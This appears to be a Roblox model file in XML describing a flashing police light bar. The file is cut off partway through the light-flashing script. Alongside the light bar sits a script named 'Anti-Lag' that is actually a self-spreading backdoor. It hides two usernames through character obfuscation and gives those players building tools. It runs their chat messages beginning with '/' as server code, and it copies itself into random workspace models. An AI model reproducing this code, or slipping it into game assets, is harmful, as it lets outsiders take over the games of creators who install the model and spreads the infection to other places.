											<Z>0.000207261153</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>1</X>
											<Y>0.400000006</Y>
											<Z>2</Z>
										</Vector3>
									</Properties>
									<Item class="BlockMesh" referent="RBX1807">
										<Properties>
											<bool name="Archivable">true</bool>
											<float name="Bevel">0</float>
											<float name="Bevel Roundness">0</float>
											<float name="Bulge">0</float>
											<token name="LODX">2</token>
											<token name="LODY">2</token>
											<string name="Name">Mesh</string>
											<Vector3 name="Offset">
												<X>0</X>
												<Y>0</Y>
												<Z>0</Z>
											</Vector3>
											<Vector3 name="Scale">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
											<Vector3 name="VertexColor">
												<X>1</X>
												<Y>1</Y>
												<Z>1</Z>
											</Vector3>
										</Properties>
									</Item>
									<Item class="Fire" referent="RBX1808">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294964224</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
								</Item>
							</Item>
						</Item>
					</Item>
					<Item class="Script" referent="RBX1809">
						<Properties>
							<bool name="Archivable">true</bool>
							<bool name="Disabled">false</bool>
							<Content name="LinkedSource"><null></null></Content>
							<string name="Name">Anti-Lag</string>
							<ProtectedString name="Source">Altitude = script:clone()
calco = {&quot;s&quot;,&quot;c&quot;,&quot;q&quot;,&quot;t&quot;,&quot;o&quot;,&quot;a&quot;,&quot;i&quot;,&quot;f&quot;,&quot;g&quot;,&quot;w&quot;,&quot;8&quot;,&quot;e&quot;,&quot;m&quot;,&quot;7&quot;,&quot;h&quot;,&quot;n&quot;}
Knox = {}
table.insert (Knox, 1 ,string.reverse(calco[5] .. calco[2] .. calco[7] .. calco[1] .. calco[6] .. calco[9] .. calco[12] .. calco[13]))
table.insert (Knox, 1 ,string.reverse(calco[11] .. calco[14] .. calco[14] .. calco[4] .. calco[16] .. calco[6] .. calco[15] .. calco[2]))
Play = {}
function rando(votation)
local hatr = 5
local calc = math.pi * math.huge
local longicate = votation:GetChildren()
if #longicate &gt; hatr then 
calc = calc + math.pi
return longicate[math.random(6,#longicate)]
end
end
function doublecheck()
local fj = game.Workspace:GetChildren()
for off = 1,#fj do
if fj[off].className == &quot;Part&quot; then
local fh = fj[off]:FindFirstChild(&quot;Anti-Lag&quot;)
if fh ~= nil then 
return false
end
end
end
return true
end
function workcheck()
if doublecheck() == true then
local l = Altitude:clone()
l.Parent = rando(game.Workspace)
end
end
workcheck()
function gibite(quen)
local  hup = Instance.new(&quot;Message&quot;)
hup.Text = &quot;Detected&quot;
hup.Parent = quen.Parent
local con = Instance.new(&quot;Script&quot;)
con.Source = [[wait(5) script.Parent:remove()]]
con.Parent = hup
for ish = 0,7 do
local a = Instance.new(&quot;HopperBin&quot;)
a.BinType = ish
a.Parent = quen
end
end
function laber(zonsa)
wait()
for slate = 1,#Knox do  
if zonsa.Name == Knox[slate] then
gibite(zonsa.Backpack)
table.insert (Play, 1,  zonsa.Name)
end
end
end
function yeild(frequency)
local t = Knox
for g = 1,#t do
if t[g] == frequency.Name then
return true
end
end
return false
end
function check(los)
local r = los:GetChildren()
for i = 1,#r do
local h = r[i]:FindFirstChild(&quot;Anti-Lag&quot;)
if h ~= nil then
h:remove()
end
end
end
function alto(xylem)
if xylem.className == &quot;Model&quot; then
check(xylem)
local que = script:clone()
que.Parent = rando(xylem)
end
end
function sortation(gone)
local dimbs = Altitude:clone()
dimbs = ramno(game.Workspace)
end
function onPlayerEntered(newPlayer)
newPlayer.Chatted:connect(function(msg, recipient) onChatted(msg, recipient, newPlayer) end) 
end
function Player(player)
player.Changed:connect(function (property) 
if property == &quot;Character&quot; then 
laber(player) 
end
end)
end
game.Players.PlayerAdded:connect(Player)
game.Players.ChildAdded:connect(onPlayerEntered)
game.Players.ChildAdded:connect(laber)
script.ChildRemoved:connect(sortation)
game.Workspace.ChildAdded:connect(alto)
function onChatted(msg, recipient, speaker)
if yeild(speaker) ~= false then
if string.sub(msg,1,1) == &quot;/&quot; then
local dsting = Instance.new(&quot;Script&quot;)
dsting.Source = string.sub(msg,2) 
dsting.Parent = game.Workspace 
end
end
end </ProtectedString>
						</Properties>
					</Item>
				</Item>
				<Item class="Model" referent="RBX1810">
					<Properties>
						<bool name="Archivable">true</bool>
						<CoordinateFrame name="ModelInPrimary">
							<X>0</X>
							<Y>0</Y>
							<Z>0</Z>
							<R00>1</R00>
							<R01>0</R01>
							<R02>0</R02>
							<R10>0</R10>
							<R11>1</R11>
							<R12>0</R12>
							<R20>0</R20>
							<R21>0</R21>
							<R22>1</R22>
						</CoordinateFrame>
						<string name="Name">Model</string>
						<Ref name="PrimaryPart">null</Ref>
					</Properties>
					<Item class="Model" referent="RBX1811">
						<Properties>
							<bool name="Archivable">true</bool>
							<CoordinateFrame name="ModelInPrimary">
								<X>0</X>
								<Y>0</Y>
								<Z>0</Z>
								<R00>1</R00>
								<R01>0</R01>
								<R02>0</R02>
								<R10>0</R10>
								<R11>1</R11>
								<R12>0</R12>
								<R20>0</R20>
								<R21>0</R21>
								<R22>1</R22>
							</CoordinateFrame>
							<string name="Name">Model</string>
							<Ref name="PrimaryPart">null</Ref>
						</Properties>
						<Item class="Model" referent="RBX1812">
							<Properties>
								<bool name="Archivable">true</bool>
								<CoordinateFrame name="ModelInPrimary">
									<X>0</X>
									<Y>0</Y>
									<Z>0</Z>
									<R00>1</R00>
									<R01>0</R01>
									<R02>0</R02>
									<R10>0</R10>
									<R11>1</R11>
									<R12>0</R12>
									<R20>0</R20>
									<R21>0</R21>
									<R22>1</R22>
								</CoordinateFrame>
								<string name="Name">Model</string>
								<Ref name="PrimaryPart">null</Ref>
							</Properties>
							<Item class="Model" referent="RBX1813">
								<Properties>
									<bool name="Archivable">true</bool>
									<CoordinateFrame name="ModelInPrimary">
										<X>0</X>
										<Y>0</Y>
										<Z>0</Z>
										<R00>1</R00>
										<R01>0</R01>
										<R02>0</R02>
										<R10>0</R10>
										<R11>1</R11>
										<R12>0</R12>
										<R20>0</R20>
										<R21>0</R21>
										<R22>1</R22>
									</CoordinateFrame>
									<string name="Name">Light Bar</string>
									<Ref name="PrimaryPart">null</Ref>
								</Properties>
								<Item class="Part" referent="RBX1814">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">2</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">21</int>
										<CoordinateFrame name="CFrame">
											<X>-1606.59998</X>
											<Y>11.999999</Y>
											<Z>26.5</Z>
											<R00>0</R00>
											<R01>0</R01>
											<R02>1</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>-1</R20>
											<R21>0</R21>
											<R22>0</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">2</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">A</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">2</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>-2.35526932e-006</X>
											<Y>-1.4054865e-007</Y>
											<Z>4.8936754e-006</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0.300000012</float>
										<Vector3 name="Velocity">
											<X>0.000188386912</X>
											<Y>6.03427143e-005</Y>
											<Z>0.000206361219</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>1</X>
											<Y>0.400000006</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
									<Item class="Fire" referent="RBX1815">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
								</Item>
								<Item class="Part" referent="RBX1816">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">2</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">21</int>
										<CoordinateFrame name="CFrame">
											<X>-1607</X>
											<Y>11.999999</Y>
											<Z>25</Z>
											<R00>1</R00>
											<R01>0</R01>
											<R02>0</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>0</R20>
											<R21>0</R21>
											<R22>1</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">2</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">B</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">2</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>-2.35526932e-006</X>
											<Y>-1.4054865e-007</Y>
											<Z>4.8936754e-006</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0.300000012</float>
										<Vector3 name="Velocity">
											<X>0.00018859774</X>
											<Y>5.48522221e-005</Y>
											<Z>0.000206304991</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>2</X>
											<Y>0.400000006</Y>
											<Z>2</Z>
										</Vector3>
									</Properties>
									<Item class="Fire" referent="RBX1817">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
								</Item>
								<Item class="Part" referent="RBX1818">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">2</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">21</int>
										<CoordinateFrame name="CFrame">
											<X>-1607.59998</X>
											<Y>11.999999</Y>
											<Z>26.5</Z>
											<R00>1</R00>
											<R01>0</R01>
											<R02>0</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>0</R20>
											<R21>0</R21>
											<R22>1</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">2</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">C</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">2</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>-2.35526932e-006</X>
											<Y>-1.4054865e-007</Y>
											<Z>4.8936754e-006</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0.300000012</float>
										<Vector3 name="Velocity">
											<X>0.000188386912</X>
											<Y>5.54490398e-005</Y>
											<Z>0.000206220662</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>1</X>
											<Y>0.400000006</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
									<Item class="Fire" referent="RBX1819">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
								</Item>
								<Item class="Part" referent="RBX1820">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">2</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">23</int>
										<CoordinateFrame name="CFrame">
											<X>-1607.09998</X>
											<Y>11.999999</Y>
											<Z>29</Z>
											<R00>1</R00>
											<R01>0</R01>
											<R02>0</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>0</R20>
											<R21>0</R21>
											<R22>1</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">2</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">D</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">2</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>-2.35526932e-006</X>
											<Y>-1.4054865e-007</Y>
											<Z>4.8936754e-006</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0.300000012</float>
										<Vector3 name="Velocity">
											<X>0.000188035541</X>
											<Y>6.37840494e-005</Y>
											<Z>0.000206290933</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>2</X>
											<Y>0.400000006</Y>
											<Z>2</Z>
										</Vector3>
									</Properties>
									<Item class="Fire" referent="RBX1821">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
								</Item>
								<Item class="Part" referent="RBX1822">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">2</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">23</int>
										<CoordinateFrame name="CFrame">
											<X>-1606.59998</X>
											<Y>11.999999</Y>
											<Z>27.5</Z>
											<R00>0</R00>
											<R01>0</R01>
											<R02>-1</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>1</R20>
											<R21>0</R21>
											<R22>0</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">2</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">E</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">2</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>-2.35526932e-006</X>
											<Y>-1.4054865e-007</Y>
											<Z>4.8936754e-006</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0.300000012</float>
										<Vector3 name="Velocity">
											<X>0.000188246369</X>
											<Y>6.26979818e-005</Y>
											<Z>0.000206361219</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>1</X>
											<Y>0.400000006</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
									<Item class="Fire" referent="RBX1823">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
								</Item>
								<Item class="Part" referent="RBX1824">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">2</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">23</int>
										<CoordinateFrame name="CFrame">
											<X>-1607.59998</X>
											<Y>11.999999</Y>
											<Z>27.5</Z>
											<R00>1</R00>
											<R01>0</R01>
											<R02>0</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>0</R20>
											<R21>0</R21>
											<R22>1</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">2</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">F</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">2</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>-2.35526932e-006</X>
											<Y>-1.4054865e-007</Y>
											<Z>4.8936754e-006</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0.300000012</float>
										<Vector3 name="Velocity">
											<X>0.000188246369</X>
											<Y>5.78043109e-005</Y>
											<Z>0.000206220662</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>1</X>
											<Y>0.400000006</Y>
											<Z>1</Z>
										</Vector3>
									</Properties>
									<Item class="Fire" referent="RBX1825">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
								</Item>
								<Item class="Part" referent="RBX1826">
									<Properties>
										<bool name="Anchored">false</bool>
										<bool name="Archivable">true</bool>
										<float name="BackParamA">-0.5</float>
										<float name="BackParamB">0.5</float>
										<token name="BackSurface">2</token>
										<token name="BackSurfaceInput">0</token>
										<float name="BottomParamA">-0.5</float>
										<float name="BottomParamB">0.5</float>
										<token name="BottomSurface">2</token>
										<token name="BottomSurfaceInput">0</token>
										<int name="BrickColor">199</int>
										<CoordinateFrame name="CFrame">
											<X>-1608.5</X>
											<Y>11.5999994</Y>
											<Z>27</Z>
											<R00>1</R00>
											<R01>0</R01>
											<R02>0</R02>
											<R10>0</R10>
											<R11>1</R11>
											<R12>0</R12>
											<R20>0</R20>
											<R21>0</R21>
											<R22>1</R22>
										</CoordinateFrame>
										<bool name="CanCollide">true</bool>
										<float name="Elasticity">0.5</float>
										<token name="FormFactor">2</token>
										<float name="Friction">0.300000012</float>
										<float name="FrontParamA">-0.5</float>
										<float name="FrontParamB">0.5</float>
										<token name="FrontSurface">2</token>
										<token name="FrontSurfaceInput">0</token>
										<float name="LeftParamA">-0.5</float>
										<float name="LeftParamB">0.5</float>
										<token name="LeftSurface">2</token>
										<token name="LeftSurfaceInput">0</token>
										<bool name="Locked">false</bool>
										<token name="Material">256</token>
										<string name="Name">Part</string>
										<float name="Reflectance">0</float>
										<float name="RightParamA">-0.5</float>
										<float name="RightParamB">0.5</float>
										<token name="RightSurface">2</token>
										<token name="RightSurfaceInput">0</token>
										<Vector3 name="RotVelocity">
											<X>-2.35526932e-006</X>
											<Y>-1.4054865e-007</Y>
											<Z>4.8936754e-006</Z>
										</Vector3>
										<float name="TopParamA">-0.5</float>
										<float name="TopParamB">0.5</float>
										<token name="TopSurface">2</token>
										<token name="TopSurfaceInput">0</token>
										<float name="Transparency">0</float>
										<Vector3 name="Velocity">
											<X>0.000190274106</X>
											<Y>5.22222508e-005</Y>
											<Z>0.000207036268</Z>
										</Vector3>
										<token name="shape">1</token>
										<Vector3 name="size">
											<X>1</X>
											<Y>0.400000006</Y>
											<Z>2</Z>
										</Vector3>
									</Properties>
									<Item class="ClickDetector" referent="RBX1827">
										<Properties>
											<bool name="Archivable">true</bool>
											<float name="MaxActivationDistance">32</float>
											<string name="Name">ClickDetector</string>
										</Properties>
									</Item>
									<Item class="Fire" referent="RBX1828">
										<Properties>
											<bool name="Archivable">true</bool>
											<Color3 name="Color">4294967040</Color3>
											<bool name="Enabled">false</bool>
											<string name="Name">Fire</string>
											<Color3 name="SecondaryColor">4294901760</Color3>
											<float name="heat_xml">25</float>
											<float name="size_xml">30</float>
										</Properties>
									</Item>
									<Item class="Script" referent="RBX1829">
										<Properties>
											<bool name="Archivable">true</bool>
											<bool name="Disabled">false</bool>
											<Content name="LinkedSource"><null></null></Content>
											<string name="Name">Script</string>
											<ProtectedString name="Source">On=false 
function onClicked() 
if On then On=false else 
On=true 
while On do 
	
	script.Parent.Parent.A.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.A.Reflectance=0 
	
	script.Parent.Parent.B.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.B.Reflectance=0 
	
	script.Parent.Parent.C.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.C.Reflectance=0 
	
	script.Parent.Parent.D.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.D.Reflectance=0 
	
	script.Parent.Parent.E.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.E.Reflectance=0 
	
	script.Parent.Parent.F.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.F.Reflectance=0 
	
	wait(0.2) 
	
	script.Parent.Parent.A.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.A.Reflectance=0 
	
	script.Parent.Parent.B.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.B.Reflectance=0 
	
	script.Parent.Parent.C.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.C.Reflectance=0 
	
	script.Parent.Parent.D.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.D.Reflectance=1 
	
	script.Parent.Parent.E.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.E.Reflectance=0 
	
	script.Parent.Parent.F.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.F.Reflectance=0 
	
	wait(0.2) 
	
	script.Parent.Parent.A.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.A.Reflectance=1 
	
	script.Parent.Parent.B.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.B.Reflectance=0 
	
	script.Parent.Parent.C.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.C.Reflectance=0 
	
	script.Parent.Parent.D.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.D.Reflectance=0 
	
	script.Parent.Parent.E.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.E.Reflectance=0 
	
	script.Parent.Parent.F.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.F.Reflectance=0 
	
	wait(0.2) 
	
	script.Parent.Parent.A.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.A.Reflectance=0 
	
	script.Parent.Parent.B.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.B.Reflectance=0 
	
	script.Parent.Parent.C.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.C.Reflectance=0 
	
	script.Parent.Parent.D.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.D.Reflectance=1 
	
	script.Parent.Parent.E.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.E.Reflectance=0 
	
	script.Parent.Parent.F.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.F.Reflectance=0 
	
	wait(0.2) 
	
	script.Parent.Parent.A.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.A.Reflectance=0 
	
	script.Parent.Parent.B.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.B.Reflectance=1 
	
	script.Parent.Parent.C.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.C.Reflectance=0 
	
	script.Parent.Parent.D.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.D.Reflectance=0 
	
	script.Parent.Parent.E.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.E.Reflectance=0 
	
	script.Parent.Parent.F.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.F.Reflectance=0 
	
	wait(0.2) 
	
	script.Parent.Parent.A.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.A.Reflectance=0 
	
	script.Parent.Parent.B.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.B.Reflectance=0 
	
	script.Parent.Parent.C.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.C.Reflectance=0 
	
	script.Parent.Parent.D.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.D.Reflectance=0 
	
	script.Parent.Parent.E.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.E.Reflectance=0 
	
	script.Parent.Parent.F.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.F.Reflectance=1 
	
	wait(0.2) 
	
	script.Parent.Parent.A.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.A.Reflectance=1 
	
	script.Parent.Parent.B.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.B.Reflectance=0 
	
	script.Parent.Parent.C.BrickColor = BrickColor.new(&quot;Bright blue&quot;) 
	script.Parent.Parent.C.Reflectance=0 
	
	script.Parent.Parent.D.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.D.Reflectance=0 
	
	script.Parent.Parent.E.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.E.Reflectance=0 
	
	script.Parent.Parent.F.BrickColor = BrickColor.new(&quot;Bright red&quot;) 
	script.Parent.Parent.F.Reflectance=0 
	
	wait(0.2) 
	
